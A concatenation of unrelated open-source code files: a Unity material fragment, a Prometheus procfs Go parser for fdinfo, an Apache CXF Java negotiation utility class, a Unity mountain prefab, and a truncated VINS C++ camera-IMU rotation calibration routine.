- _DetailNormalMapScale: 1
- _DstBlend: 0
- _GlossMapScale: 1
- _Glossiness: 0.583
- _GlossyReflections: 1
- _MapScale: 4
- _Metallic: 0.178
- _Mode: 0
- _OcclusionStrength: 1
- _Parallax: 0.02
- _SmoothnessTextureChannel: 0
- _SpecularHighlights: 1
- _SrcBlend: 1
- _UVSec: 0
- _ZWrite: 1
m_Colors:
- _Color: {r: 0.122641504, g: 0.122641504, b: 0.122641504, a: 1}
- _EmissionColor: {r: 0, g: 0, b: 0, a: 1}
| {
"pile_set_name": "Github"
} |
// Copyright 2019 The Prometheus Authors
// Licensed under the Apache License, Version 2.0 (the "License");
// you may not use this file except in compliance with the License.
// You may obtain a copy of the License at
//
// http://www.apache.org/licenses/LICENSE-2.0
//
// Unless required by applicable law or agreed to in writing, software
// distributed under the License is distributed on an "AS IS" BASIS,
// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
// See the License for the specific language governing permissions and
// limitations under the License.
package procfs
import (
"bufio"
"bytes"
"regexp"
"github.com/prometheus/procfs/internal/util"
)
// Regexp variables
var (
rPos = regexp.MustCompile(`^pos:\s+(\d+)$`)
rFlags = regexp.MustCompile(`^flags:\s+(\d+)$`)
rMntID = regexp.MustCompile(`^mnt_id:\s+(\d+)$`)
rInotify = regexp.MustCompile(`^inotify`)
)
// ProcFDInfo contains represents file descriptor information.
type ProcFDInfo struct {
// File descriptor
FD string
// File offset
Pos string
// File access mode and status flags
Flags string
// Mount point ID
MntID string
// List of inotify lines (structed) in the fdinfo file (kernel 3.8+ only)
InotifyInfos []InotifyInfo
}
// FDInfo constructor. On kernels older than 3.8, InotifyInfos will always be empty.
func (p Proc) FDInfo(fd string) (*ProcFDInfo, error) {
data, err := util.ReadFileNoStat(p.path("fdinfo", fd))
if err != nil {
return nil, err
}
var text, pos, flags, mntid string
var inotify []InotifyInfo
scanner := bufio.NewScanner(bytes.NewReader(data))
for scanner.Scan() {
text = scanner.Text()
if rPos.MatchString(text) {
pos = rPos.FindStringSubmatch(text)[1]
} else if rFlags.MatchString(text) {
flags = rFlags.FindStringSubmatch(text)[1]
} else if rMntID.MatchString(text) {
mntid = rMntID.FindStringSubmatch(text)[1]
} else if rInotify.MatchString(text) {
newInotify, err := parseInotifyInfo(text)
if err != nil {
return nil, err
}
inotify = append(inotify, *newInotify)
}
}
i := &ProcFDInfo{
FD: fd,
Pos: pos,
Flags: flags,
MntID: mntid,
InotifyInfos: inotify,
}
return i, nil
}
// InotifyInfo represents a single inotify line in the fdinfo file.
type InotifyInfo struct {
// Watch descriptor number
WD string
// Inode number
Ino string
// Device ID
Sdev string
// Mask of events being monitored
Mask string
}
// InotifyInfo constructor. Only available on kernel 3.8+.
func parseInotifyInfo(line string) (*InotifyInfo, error) {
r := regexp.MustCompile(`^inotify\s+wd:([0-9a-f]+)\s+ino:([0-9a-f]+)\s+sdev:([0-9a-f]+)\s+mask:([0-9a-f]+)`)
m := r.FindStringSubmatch(line)
i := &InotifyInfo{
WD: m[1],
Ino: m[2],
Sdev: m[3],
Mask: m[4],
}
return i, nil
}
// ProcFDInfos represents a list of ProcFDInfo structs.
type ProcFDInfos []ProcFDInfo
func (p ProcFDInfos) Len() int { return len(p) }
func (p ProcFDInfos) Swap(i, j int) { p[i], p[j] = p[j], p[i] }
func (p ProcFDInfos) Less(i, j int) bool { return p[i].FD < p[j].FD }
// InotifyWatchLen returns the total number of inotify watches
func (p ProcFDInfos) InotifyWatchLen() (int, error) {
length := 0
for _, f := range p {
length += len(f.InotifyInfos)
}
return length, nil
}
| {
"pile_set_name": "Github"
} |
/**
* Licensed to the Apache Software Foundation (ASF) under one
* or more contributor license agreements. See the NOTICE file
* distributed with this work for additional information
* regarding copyright ownership. The ASF licenses this file
* to you under the Apache License, Version 2.0 (the
* "License"); you may not use this file except in compliance
* with the License. You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing,
* software distributed under the License is distributed on an
* "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
* KIND, either express or implied. See the License for the
* specific language governing permissions and limitations
* under the License.
*/
package org.apache.cxf.ws.security.policy.interceptors;
import java.util.Collection;
import java.util.List;
import org.apache.cxf.Bus;
import org.apache.cxf.binding.soap.SoapMessage;
import org.apache.cxf.endpoint.Endpoint;
import org.apache.cxf.helpers.CastUtils;
import org.apache.cxf.interceptor.Fault;
import org.apache.cxf.interceptor.Interceptor;
import org.apache.cxf.message.Exchange;
import org.apache.cxf.message.Message;
import org.apache.cxf.security.SecurityContext;
import org.apache.cxf.service.Service;
import org.apache.cxf.service.invoker.Invoker;
import org.apache.cxf.service.model.BindingOperationInfo;
import org.apache.cxf.transport.Destination;
import org.apache.cxf.ws.addressing.MAPAggregator;
import org.apache.cxf.ws.addressing.policy.MetadataConstants;
import org.apache.cxf.ws.policy.AssertionInfo;
import org.apache.cxf.ws.policy.AssertionInfoMap;
import org.apache.cxf.ws.policy.EndpointPolicy;
import org.apache.cxf.ws.policy.PolicyEngine;
import org.apache.cxf.ws.policy.builder.primitive.PrimitiveAssertion;
import org.apache.cxf.ws.security.SecurityConstants;
import org.apache.cxf.ws.security.policy.PolicyUtils;
import org.apache.cxf.ws.security.tokenstore.SecurityToken;
import org.apache.cxf.ws.security.tokenstore.TokenStore;
import org.apache.cxf.ws.security.tokenstore.TokenStoreException;
import org.apache.cxf.ws.security.tokenstore.TokenStoreUtils;
import org.apache.cxf.ws.security.trust.STSUtils;
import org.apache.neethi.Assertion;
import org.apache.neethi.Policy;
import org.apache.wss4j.common.derivedKey.ConversationConstants;
import org.apache.wss4j.common.ext.WSSecurityException;
import org.apache.wss4j.dom.WSConstants;
import org.apache.wss4j.dom.engine.WSSecurityEngineResult;
import org.apache.wss4j.dom.handler.WSHandlerConstants;
import org.apache.wss4j.dom.handler.WSHandlerResult;
import org.apache.wss4j.dom.message.token.SecurityContextToken;
import org.apache.wss4j.policy.SPConstants;
import org.apache.wss4j.policy.model.AbstractBinding;
import org.apache.wss4j.policy.model.AlgorithmSuite;
import org.apache.wss4j.policy.model.Trust10;
import org.apache.wss4j.policy.model.Trust13;
import org.apache.wss4j.stax.securityEvent.WSSecurityEventConstants;
import org.apache.xml.security.stax.securityEvent.SecurityEvent;
/**
* This is a collection of utility methods for use in negotiation exchanges such as WS-SecureConversation
* and WS-Trust for SPNEGO.
*/
final class NegotiationUtils {
private NegotiationUtils() {
// complete
}
static Trust10 getTrust10(AssertionInfoMap aim) {
AssertionInfo ai = PolicyUtils.getFirstAssertionByLocalname(aim, SPConstants.TRUST_10);
if (ai == null) {
return null;
}
return (Trust10)ai.getAssertion();
}
static Trust13 getTrust13(AssertionInfoMap aim) {
AssertionInfo ai = PolicyUtils.getFirstAssertionByLocalname(aim, SPConstants.TRUST_13);
if (ai == null) {
return null;
}
return (Trust13)ai.getAssertion();
}
static Assertion getAddressingPolicy(AssertionInfoMap aim, boolean optional) {
Collection<AssertionInfo> lst = aim.get(MetadataConstants.USING_ADDRESSING_2004_QNAME);
Assertion assertion = null;
if (null != lst && !lst.isEmpty()) {
assertion = lst.iterator().next().getAssertion();
}
if (assertion == null) {
lst = aim.get(MetadataConstants.USING_ADDRESSING_2005_QNAME);
if (null != lst && !lst.isEmpty()) {
assertion = lst.iterator().next().getAssertion();
}
}
if (assertion == null) {
lst = aim.get(MetadataConstants.USING_ADDRESSING_2006_QNAME);
if (null != lst && !lst.isEmpty()) {
assertion = lst.iterator().next().getAssertion();
}
}
if (assertion == null) {
return new PrimitiveAssertion(MetadataConstants.USING_ADDRESSING_2006_QNAME,
optional);
} else if (optional) {
return new PrimitiveAssertion(assertion.getName(),
optional);
}
return assertion;
}
static AlgorithmSuite getAlgorithmSuite(AssertionInfoMap aim) {
AbstractBinding binding = PolicyUtils.getSecurityBinding(aim);
if (binding != null) {
return binding.getAlgorithmSuite();
}
return null;
}
static int getWSCVersion(String tokenTypeValue) throws WSSecurityException {
if (tokenTypeValue == null) {
return ConversationConstants.DEFAULT_VERSION;
}
if (tokenTypeValue.startsWith(ConversationConstants.WSC_NS_05_02)) {
return ConversationConstants.getWSTVersion(ConversationConstants.WSC_NS_05_02);
} else if (tokenTypeValue.startsWith(ConversationConstants.WSC_NS_05_12)) {
return ConversationConstants.getWSTVersion(ConversationConstants.WSC_NS_05_12);
} else {
throw new WSSecurityException(WSSecurityException.ErrorCode.FAILURE,
"unsupportedSecConvVersion");
}
}
static void recalcEffectivePolicy(
SoapMessage message,
String namespace,
Policy policy,
Invoker invoker,
boolean secConv
) {
Exchange ex = message.getExchange();
Bus bus = ex.getBus();
PolicyEngine pe = bus.getExtension(PolicyEngine.class);
if (null == pe) {
return;
}
Destination destination = ex.getDestination();
try {
Endpoint endpoint = message.getExchange().getEndpoint();
TokenStore store = TokenStoreUtils.getTokenStore(message);
if (secConv) {
endpoint = STSUtils.createSCEndpoint(bus,
namespace,
endpoint.getEndpointInfo().getTransportId(),
destination.getAddress().getAddress().getValue(),
message.getVersion().getBindingId(),
policy);
} else {
endpoint = STSUtils.createSTSEndpoint(bus,
namespace,
endpoint.getEndpointInfo().getTransportId(),
destination.getAddress().getAddress().getValue(),
message.getVersion().getBindingId(),
policy,
null);
}
endpoint.getEndpointInfo().setProperty(TokenStore.class.getName(), store);
message.getExchange().put(TokenStore.class.getName(), store);
EndpointPolicy ep = pe.getServerEndpointPolicy(endpoint.getEndpointInfo(), destination, message);
List<Interceptor<? extends Message>> interceptors = ep.getInterceptors(message);
message.getInterceptorChain().add(interceptors);
Collection<Assertion> assertions = ep.getVocabulary(message);
if (null != assertions) {
message.put(AssertionInfoMap.class, new AssertionInfoMap(assertions));
}
endpoint.getService().setInvoker(invoker);
ex.put(Endpoint.class, endpoint);
ex.put(Service.class, endpoint.getService());
ex.put(org.apache.cxf.binding.Binding.class, endpoint.getBinding());
ex.remove(BindingOperationInfo.class);
message.put(MAPAggregator.ACTION_VERIFIED, Boolean.TRUE);
} catch (Exception exc) {
throw new Fault(exc);
}
}
/**
* Return true on successfully parsing a SecurityContextToken result
*/
static boolean parseSCTResult(SoapMessage message) throws TokenStoreException {
List<WSHandlerResult> results =
CastUtils.cast((List<?>)message.get(WSHandlerConstants.RECV_RESULTS));
if (results == null) {
// Try Streaming results
@SuppressWarnings("unchecked")
final List<SecurityEvent> incomingEventList =
(List<SecurityEvent>) message.getExchange().get(SecurityEvent.class.getName() + ".in");
if (incomingEventList != null) {
for (SecurityEvent incomingEvent : incomingEventList) {
if (WSSecurityEventConstants.SECURITY_CONTEXT_TOKEN
== incomingEvent.getSecurityEventType()) {
return true;
}
}
}
return false;
}
for (WSHandlerResult rResult : results) {
List<WSSecurityEngineResult> sctResults =
rResult.getActionResults().get(WSConstants.SCT);
if (sctResults != null) {
for (WSSecurityEngineResult wser : sctResults) {
SecurityContextToken tok =
(SecurityContextToken)wser.get(WSSecurityEngineResult.TAG_SECURITY_CONTEXT_TOKEN);
message.getExchange().put(SecurityConstants.TOKEN_ID, tok.getIdentifier());
SecurityToken token = TokenStoreUtils.getTokenStore(message).getToken(tok.getIdentifier());
if (token == null || token.isExpired()) {
byte[] secret = (byte[])wser.get(WSSecurityEngineResult.TAG_SECRET);
if (secret != null) {
token = new SecurityToken(tok.getIdentifier());
token.setToken(tok.getElement());
token.setSecret(secret);
token.setTokenType(tok.getTokenType());
TokenStoreUtils.getTokenStore(message).add(token);
}
}
if (token != null) {
final SecurityContext sc = token.getSecurityContext();
if (sc != null) {
message.put(SecurityContext.class, sc);
}
return true;
}
}
}
}
return false;
}
}
| {
"pile_set_name": "Github"
} |
%YAML 1.1
%TAG !u! tag:unity3d.com,2011:
--- !u!1 &5202497142060831608
GameObject:
m_ObjectHideFlags: 0
m_CorrespondingSourceObject: {fileID: 0}
m_PrefabInstance: {fileID: 0}
m_PrefabAsset: {fileID: 0}
serializedVersion: 6
m_Component:
- component: {fileID: 4104041965491438486}
m_Layer: 0
m_Name: Mountains
m_TagString: Untagged
m_Icon: {fileID: 0}
m_NavMeshLayer: 0
m_StaticEditorFlags: 4294967295
m_IsActive: 1
--- !u!4 &4104041965491438486
Transform:
m_ObjectHideFlags: 0
m_CorrespondingSourceObject: {fileID: 0}
m_PrefabInstance: {fileID: 0}
m_PrefabAsset: {fileID: 0}
m_GameObject: {fileID: 5202497142060831608}
m_LocalRotation: {x: -0, y: -0, z: -0, w: 1}
m_LocalPosition: {x: 8.602449, y: -23.517689, z: -199.17233}
m_LocalScale: {x: 1, y: 1, z: 1}
m_Children:
- {fileID: 5108666686258920363}
- {fileID: 5108666686290801584}
- {fileID: 5108591121757855195}
- {fileID: 5108591121895618038}
m_Father: {fileID: 0}
m_RootOrder: 0
m_LocalEulerAnglesHint: {x: 0, y: 0, z: 0}
--- !u!1001 &5112759942162316586
PrefabInstance:
m_ObjectHideFlags: 0
serializedVersion: 2
m_Modification:
m_TransformParent: {fileID: 4104041965491438486}
m_Modifications:
- target: {fileID: 4908886652029148, guid: ae35ef52b16cd418d8365d4401fd5eda, type: 3}
propertyPath: m_LocalPosition.x
value: -39.850002
objectReference: {fileID: 0}
- target: {fileID: 4908886652029148, guid: ae35ef52b16cd418d8365d4401fd5eda, type: 3}
propertyPath: m_LocalPosition.y
value: 18.875
objectReference: {fileID: 0}
- target: {fileID: 4908886652029148, guid: ae35ef52b16cd418d8365d4401fd5eda, type: 3}
propertyPath: m_LocalPosition.z
value: 19.800018
objectReference: {fileID: 0}
- target: {fileID: 4908886652029148, guid: ae35ef52b16cd418d8365d4401fd5eda, type: 3}
propertyPath: m_LocalRotation.x
value: 0.010356829
objectReference: {fileID: 0}
- target: {fileID: 4908886652029148, guid: ae35ef52b16cd418d8365d4401fd5eda, type: 3}
propertyPath: m_LocalRotation.y
value: 0.10458443
objectReference: {fileID: 0}
- target: {fileID: 4908886652029148, guid: ae35ef52b16cd418d8365d4401fd5eda, type: 3}
propertyPath: m_LocalRotation.z
value: 0.09800063
objectReference: {fileID: 0}
- target: {fileID: 4908886652029148, guid: ae35ef52b16cd418d8365d4401fd5eda, type: 3}
propertyPath: m_LocalRotation.w
value: 0.9896216
objectReference: {fileID: 0}
- target: {fileID: 4908886652029148, guid: ae35ef52b16cd418d8365d4401fd5eda, type: 3}
propertyPath: m_RootOrder
value: 3
objectReference: {fileID: 0}
- target: {fileID: 4908886652029148, guid: ae35ef52b16cd418d8365d4401fd5eda, type: 3}
propertyPath: m_LocalEulerAnglesHint.x
value: 0
objectReference: {fileID: 0}
- target: {fileID: 4908886652029148, guid: ae35ef52b16cd418d8365d4401fd5eda, type: 3}
propertyPath: m_LocalEulerAnglesHint.y
value: 12.065001
objectReference: {fileID: 0}
- target: {fileID: 4908886652029148, guid: ae35ef52b16cd418d8365d4401fd5eda, type: 3}
propertyPath: m_LocalEulerAnglesHint.z
value: 11.311001
objectReference: {fileID: 0}
- target: {fileID: 4908886652029148, guid: ae35ef52b16cd418d8365d4401fd5eda, type: 3}
propertyPath: m_LocalScale.x
value: 1.5
objectReference: {fileID: 0}
- target: {fileID: 4908886652029148, guid: ae35ef52b16cd418d8365d4401fd5eda, type: 3}
propertyPath: m_LocalScale.y
value: 1.5
objectReference: {fileID: 0}
- target: {fileID: 4908886652029148, guid: ae35ef52b16cd418d8365d4401fd5eda, type: 3}
propertyPath: m_LocalScale.z
value: 1.5000001
objectReference: {fileID: 0}
- target: {fileID: 1176728806985930, guid: ae35ef52b16cd418d8365d4401fd5eda, type: 3}
propertyPath: m_Name
value: Cliff_Wall_01 (2)
objectReference: {fileID: 0}
m_RemovedComponents: []
m_SourcePrefab: {fileID: 100100000, guid: ae35ef52b16cd418d8365d4401fd5eda, type: 3}
--- !u!4 &5108591121895618038 stripped
Transform:
m_CorrespondingSourceObject: {fileID: 4908886652029148, guid: ae35ef52b16cd418d8365d4401fd5eda,
type: 3}
m_PrefabInstance: {fileID: 5112759942162316586}
m_PrefabAsset: {fileID: 0}
--- !u!1001 &5112759942292722951
PrefabInstance:
m_ObjectHideFlags: 0
serializedVersion: 2
m_Modification:
m_TransformParent: {fileID: 4104041965491438486}
m_Modifications:
- target: {fileID: 4908886652029148, guid: ae35ef52b16cd418d8365d4401fd5eda, type: 3}
propertyPath: m_LocalPosition.x
value: 61.5
objectReference: {fileID: 0}
- target: {fileID: 4908886652029148, guid: ae35ef52b16cd418d8365d4401fd5eda, type: 3}
propertyPath: m_LocalPosition.y
value: 31.475
objectReference: {fileID: 0}
- target: {fileID: 4908886652029148, guid: ae35ef52b16cd418d8365d4401fd5eda, type: 3}
propertyPath: m_LocalPosition.z
value: -37.75
objectReference: {fileID: 0}
- target: {fileID: 4908886652029148, guid: ae35ef52b16cd418d8365d4401fd5eda, type: 3}
propertyPath: m_LocalRotation.x
value: 0.002143391
objectReference: {fileID: 0}
- target: {fileID: 4908886652029148, guid: ae35ef52b16cd418d8365d4401fd5eda, type: 3}
propertyPath: m_LocalRotation.y
value: 0.10507412
objectReference: {fileID: 0}
- target: {fileID: 4908886652029148, guid: ae35ef52b16cd418d8365d4401fd5eda, type: 3}
propertyPath: m_LocalRotation.z
value: 0.020281684
objectReference: {fileID: 0}
- target: {fileID: 4908886652029148, guid: ae35ef52b16cd418d8365d4401fd5eda, type: 3}
propertyPath: m_LocalRotation.w
value: 0.99425524
objectReference: {fileID: 0}
- target: {fileID: 4908886652029148, guid: ae35ef52b16cd418d8365d4401fd5eda, type: 3}
propertyPath: m_RootOrder
value: 2
objectReference: {fileID: 0}
- target: {fileID: 4908886652029148, guid: ae35ef52b16cd418d8365d4401fd5eda, type: 3}
propertyPath: m_LocalEulerAnglesHint.x
value: 0
objectReference: {fileID: 0}
- target: {fileID: 4908886652029148, guid: ae35ef52b16cd418d8365d4401fd5eda, type: 3}
propertyPath: m_LocalEulerAnglesHint.y
value: 12.065001
objectReference: {fileID: 0}
- target: {fileID: 4908886652029148, guid: ae35ef52b16cd418d8365d4401fd5eda, type: 3}
propertyPath: m_LocalEulerAnglesHint.z
value: 2.3370001
objectReference: {fileID: 0}
- target: {fileID: 4908886652029148, guid: ae35ef52b16cd418d8365d4401fd5eda, type: 3}
propertyPath: m_LocalScale.x
value: 1.5000005
objectReference: {fileID: 0}
- target: {fileID: 4908886652029148, guid: ae35ef52b16cd418d8365d4401fd5eda, type: 3}
propertyPath: m_LocalScale.y
value: 1.4999998
objectReference: {fileID: 0}
- target: {fileID: 4908886652029148, guid: ae35ef52b16cd418d8365d4401fd5eda, type: 3}
propertyPath: m_LocalScale.z
value: 1.5000001
objectReference: {fileID: 0}
- target: {fileID: 1176728806985930, guid: ae35ef52b16cd418d8365d4401fd5eda, type: 3}
propertyPath: m_Name
value: Cliff_Wall_01 (3)
objectReference: {fileID: 0}
- target: {fileID: 7577139176909155686, guid: ae35ef52b16cd418d8365d4401fd5eda,
type: 3}
propertyPath: m_ScaleInLightmap
value: 0.25
objectReference: {fileID: 0}
m_RemovedComponents: []
m_SourcePrefab: {fileID: 100100000, guid: ae35ef52b16cd418d8365d4401fd5eda, type: 3}
--- !u!4 &5108591121757855195 stripped
Transform:
m_CorrespondingSourceObject: {fileID: 4908886652029148, guid: ae35ef52b16cd418d8365d4401fd5eda,
type: 3}
m_PrefabInstance: {fileID: 5112759942292722951}
m_PrefabAsset: {fileID: 0}
--- !u!1001 &5112759942831136741
PrefabInstance:
m_ObjectHideFlags: 0
serializedVersion: 2
m_Modification:
m_TransformParent: {fileID: 4104041965491438486}
m_Modifications:
- target: {fileID: 4940503298499662, guid: cae1d9d2314d7472b96499de2a90f1ad, type: 3}
propertyPath: m_LocalPosition.x
value: -169.25
objectReference: {fileID: 0}
- target: {fileID: 4940503298499662, guid: cae1d9d2314d7472b96499de2a90f1ad, type: 3}
propertyPath: m_LocalPosition.y
value: -26.625004
objectReference: {fileID: 0}
- target: {fileID: 4940503298499662, guid: cae1d9d2314d7472b96499de2a90f1ad, type: 3}
propertyPath: m_LocalPosition.z
value: 71.75001
objectReference: {fileID: 0}
- target: {fileID: 4940503298499662, guid: cae1d9d2314d7472b96499de2a90f1ad, type: 3}
propertyPath: m_LocalRotation.x
value: -0
objectReference: {fileID: 0}
- target: {fileID: 4940503298499662, guid: cae1d9d2314d7472b96499de2a90f1ad, type: 3}
propertyPath: m_LocalRotation.y
value: -0.92873186
objectReference: {fileID: 0}
- target: {fileID: 4940503298499662, guid: cae1d9d2314d7472b96499de2a90f1ad, type: 3}
propertyPath: m_LocalRotation.z
value: -0
objectReference: {fileID: 0}
- target: {fileID: 4940503298499662, guid: cae1d9d2314d7472b96499de2a90f1ad, type: 3}
propertyPath: m_LocalRotation.w
value: 0.37075222
objectReference: {fileID: 0}
- target: {fileID: 4940503298499662, guid: cae1d9d2314d7472b96499de2a90f1ad, type: 3}
propertyPath: m_RootOrder
value: 0
objectReference: {fileID: 0}
- target: {fileID: 4940503298499662, guid: cae1d9d2314d7472b96499de2a90f1ad, type: 3}
propertyPath: m_LocalEulerAnglesHint.x
value: 0
objectReference: {fileID: 0}
- target: {fileID: 4940503298499662, guid: cae1d9d2314d7472b96499de2a90f1ad, type: 3}
propertyPath: m_LocalEulerAnglesHint.y
value: -136.47601
objectReference: {fileID: 0}
- target: {fileID: 4940503298499662, guid: cae1d9d2314d7472b96499de2a90f1ad, type: 3}
propertyPath: m_LocalEulerAnglesHint.z
value: 0
objectReference: {fileID: 0}
- target: {fileID: 4940503298499662, guid: cae1d9d2314d7472b96499de2a90f1ad, type: 3}
propertyPath: m_LocalScale.x
value: 1.5
objectReference: {fileID: 0}
- target: {fileID: 4940503298499662, guid: cae1d9d2314d7472b96499de2a90f1ad, type: 3}
propertyPath: m_LocalScale.y
value: 1.5
objectReference: {fileID: 0}
- target: {fileID: 4940503298499662, guid: cae1d9d2314d7472b96499de2a90f1ad, type: 3}
propertyPath: m_LocalScale.z
value: 1.5
objectReference: {fileID: 0}
- target: {fileID: 1300699320570294, guid: cae1d9d2314d7472b96499de2a90f1ad, type: 3}
propertyPath: m_Name
value: Hero_Mountain (4)
objectReference: {fileID: 0}
- target: {fileID: 3065702471932206455, guid: cae1d9d2314d7472b96499de2a90f1ad,
type: 3}
propertyPath: m_ScaleInLightmap
value: 0.2
objectReference: {fileID: 0}
m_RemovedComponents: []
m_SourcePrefab: {fileID: 100100000, guid: cae1d9d2314d7472b96499de2a90f1ad, type: 3}
--- !u!4 &5108666686258920363 stripped
Transform:
m_CorrespondingSourceObject: {fileID: 4940503298499662, guid: cae1d9d2314d7472b96499de2a90f1ad,
type: 3}
m_PrefabInstance: {fileID: 5112759942831136741}
m_PrefabAsset: {fileID: 0}
--- !u!1001 &5112759942861969406
PrefabInstance:
m_ObjectHideFlags: 0
serializedVersion: 2
m_Modification:
m_TransformParent: {fileID: 4104041965491438486}
m_Modifications:
- target: {fileID: 4940503298499662, guid: cae1d9d2314d7472b96499de2a90f1ad, type: 3}
propertyPath: m_LocalPosition.x
value: 147.6
objectReference: {fileID: 0}
- target: {fileID: 4940503298499662, guid: cae1d9d2314d7472b96499de2a90f1ad, type: 3}
propertyPath: m_LocalPosition.y
value: -23.725002
objectReference: {fileID: 0}
- target: {fileID: 4940503298499662, guid: cae1d9d2314d7472b96499de2a90f1ad, type: 3}
propertyPath: m_LocalPosition.z
value: -53.799988
objectReference: {fileID: 0}
- target: {fileID: 4940503298499662, guid: cae1d9d2314d7472b96499de2a90f1ad, type: 3}
propertyPath: m_LocalRotation.x
value: -0.06320004
objectReference: {fileID: 0}
- target: {fileID: 4940503298499662, guid: cae1d9d2314d7472b96499de2a90f1ad, type: 3}
propertyPath: m_LocalRotation.y
value: -0.99253684
objectReference: {fileID: 0}
- target: {fileID: 4940503298499662, guid: cae1d9d2314d7472b96499de2a90f1ad, type: 3}
propertyPath: m_LocalRotation.z
value: 0.09845203
objectReference: {fileID: 0}
- target: {fileID: 4940503298499662, guid: cae1d9d2314d7472b96499de2a90f1ad, type: 3}
propertyPath: m_LocalRotation.w
value: 0.03440497
objectReference: {fileID: 0}
- target: {fileID: 4940503298499662, guid: cae1d9d2314d7472b96499de2a90f1ad, type: 3}
propertyPath: m_RootOrder
value: 1
objectReference: {fileID: 0}
- target: {fileID: 4940503298499662, guid: cae1d9d2314d7472b96499de2a90f1ad, type: 3}
propertyPath: m_LocalEulerAnglesHint.x
value: 11.016001
objectReference: {fileID: 0}
- target: {fileID: 4940503298499662, guid: cae1d9d2314d7472b96499de2a90f1ad, type: 3}
propertyPath: m_LocalEulerAnglesHint.y
value: -175.28201
objectReference: {fileID: 0}
- target: {fileID: 4940503298499662, guid: cae1d9d2314d7472b96499de2a90f1ad, type: 3}
propertyPath: m_LocalEulerAnglesHint.z
value: 7.7420006
objectReference: {fileID: 0}
- target: {fileID: 4940503298499662, guid: cae1d9d2314d7472b96499de2a90f1ad, type: 3}
propertyPath: m_LocalScale.x
value: 1.4999998
objectReference: {fileID: 0}
- target: {fileID: 4940503298499662, guid: cae1d9d2314d7472b96499de2a90f1ad, type: 3}
propertyPath: m_LocalScale.y
value: 1.5
objectReference: {fileID: 0}
- target: {fileID: 4940503298499662, guid: cae1d9d2314d7472b96499de2a90f1ad, type: 3}
propertyPath: m_LocalScale.z
value: 1.5
objectReference: {fileID: 0}
- target: {fileID: 1300699320570294, guid: cae1d9d2314d7472b96499de2a90f1ad, type: 3}
propertyPath: m_Name
value: Hero_Mountain (6)
objectReference: {fileID: 0}
- target: {fileID: 3065702471932206455, guid: cae1d9d2314d7472b96499de2a90f1ad,
type: 3}
propertyPath: m_ScaleInLightmap
value: 0.2
objectReference: {fileID: 0}
m_RemovedComponents: []
m_SourcePrefab: {fileID: 100100000, guid: cae1d9d2314d7472b96499de2a90f1ad, type: 3}
--- !u!4 &5108666686290801584 stripped
Transform:
m_CorrespondingSourceObject: {fileID: 4940503298499662, guid: cae1d9d2314d7472b96499de2a90f1ad,
type: 3}
m_PrefabInstance: {fileID: 5112759942861969406}
m_PrefabAsset: {fileID: 0}
| {
"pile_set_name": "Github"
} |
/*******************************************************
* Copyright (C) 2019, Aerial Robotics Group, Hong Kong University of Science and Technology
*
* This file is part of VINS.
*
* Licensed under the GNU General Public License v3.0;
* you may not use this file except in compliance with the License.
*
* Author: Qin Tong ([email protected])
*******************************************************/
#include "initial_ex_rotation.h"
InitialEXRotation::InitialEXRotation(){
frame_count = 0;
Rc.push_back(Matrix3d::Identity());
Rc_g.push_back(Matrix3d::Identity());
Rimu.push_back(Matrix3d::Identity());
ric = Matrix3d::Identity();
}
bool InitialEXRotation::CalibrationExRotation(vector<pair<Vector3d, Vector3d>> corres, Quaterniond delta_q_imu, Matrix3d &calib_ric_result)
{
frame_count++;
Rc.push_back(solveRelativeR(corres));
Rimu.push_back(delta_q_imu.toRotationMatrix());
Rc_g.push_back(ric.inverse() * delta_q_imu * ric);
Eigen::MatrixXd A(frame_count * 4, 4);
A.setZero();
int sum_ok = 0;
for (int i = 1; i <= frame_count; i++)
{
Quaterniond r1(Rc[i]);
Quaterniond r2(Rc_g[i]);
double angular_distance = 180 / M_PI * r1.angularDistance(r2);
ROS_DEBUG(
"%d %f", i, angular_distance);
double huber = angular_distance > 5.0 ? 5.0 / angular_distance : 1.0;
++sum_ok;
Matrix4d L, R;
double w = Quaterniond(Rc[i]).w();
Vector3d q = Quaterniond(Rc[i]).vec();
L.block<3, 3>(0, 0) = w * Matrix3d::Identity() + Utility::skewSymmetric(q);
L.block<3, 1>(0, 3) = q;
L.block<1, 3>(3, 0) = -q.transpose();
L(3, 3) = w;
Quaterniond R_ij(Rimu[i]);
w = R_ij.w();
q = R_ij.vec();
R.block<3, 3>(0, 0) = w * Matrix3d::Identity() - Utility::skewSymmetric(q);
R.block<3, 1>(0, 3) = q;
R.block<1, 3>(3, 0) = -q.transpose();
R(3, 3) = w;
A.block<4, 4>((i - 1) * 4, 0) = huber * (L - R);
}
JacobiSVD<MatrixXd> svd(A, ComputeFullU | ComputeFullV);
Matrix<double, 4, 1> x = svd.matrixV().col(3);
Quaterniond estimated_R(x);
ric = estimated_R.toRotationMatrix().inverse();
//cout << svd.singularValues().transpose() << endl;
//cout << ric << endl;
Vector3d ric_cov;
ric_cov = svd.singularValues().tail<3>();
if (frame_count >= WINDOW_SIZE && ric_cov(1) > 0.25)
{
calib_ric_result = ric;
return true;
}
else
return false;
}
Matrix3d InitialEXRotation::solveRelativeR(const vector<pair<Vector3d, Vector3d>> &corres)
{
if (corres.size() >= 9)
{
vector<cv::Point2f> ll, rr;
for (int i = 0; i < int(corres.size()); i++)
{
ll.push_back(cv::Point2f(corres[i].first(0), corres[i].first(1)));
rr.push_back(cv::Point2f(corres[i].second(0), corres[i].second(1)));
}
cv::Mat E = cv::findFundamentalMat(ll, rr);
cv::Mat_<double> R1, R2, t1, t2;
decomposeE(E, R1, R2, t1, t2);
if (determinant(R1) + 1.0 < 1e-09)
{
E = -E;
decomposeE(E, R1, R2, t1, t2);
}
double ratio1 = max(testTriangulation(ll, rr, R1, t1), testTriangulation(ll, rr, R1, t2));
double ratio2 = max(testTriangulation(ll, rr, R2, t1), testTriangulation(ll, rr, R2, t2));
cv::Mat_<double> ans_R_cv = ratio1 > ratio2 ? R1 : R2;
Matrix3d ans_R_eigen;
for (int i = 0; i < 3; i++)
for (int j = 0; j < 3; j++)
ans_R_eigen(j, i) = ans_R_cv(i, j);
return ans_R_eigen;
}
return Matrix3d::Identity();
}
double InitialEXRotation::testTriangulation(const vector<cv::Point2f> &l,
const vector<cv::Point2f> &r,
cv::Mat_<double> R, cv::Mat_<double> t)
{
cv::Mat pointcloud;
cv::Matx34f P = cv::Matx34f(1, 0, 0, 0,
0, 1, 0, 0,
0, 0, 1, 0);
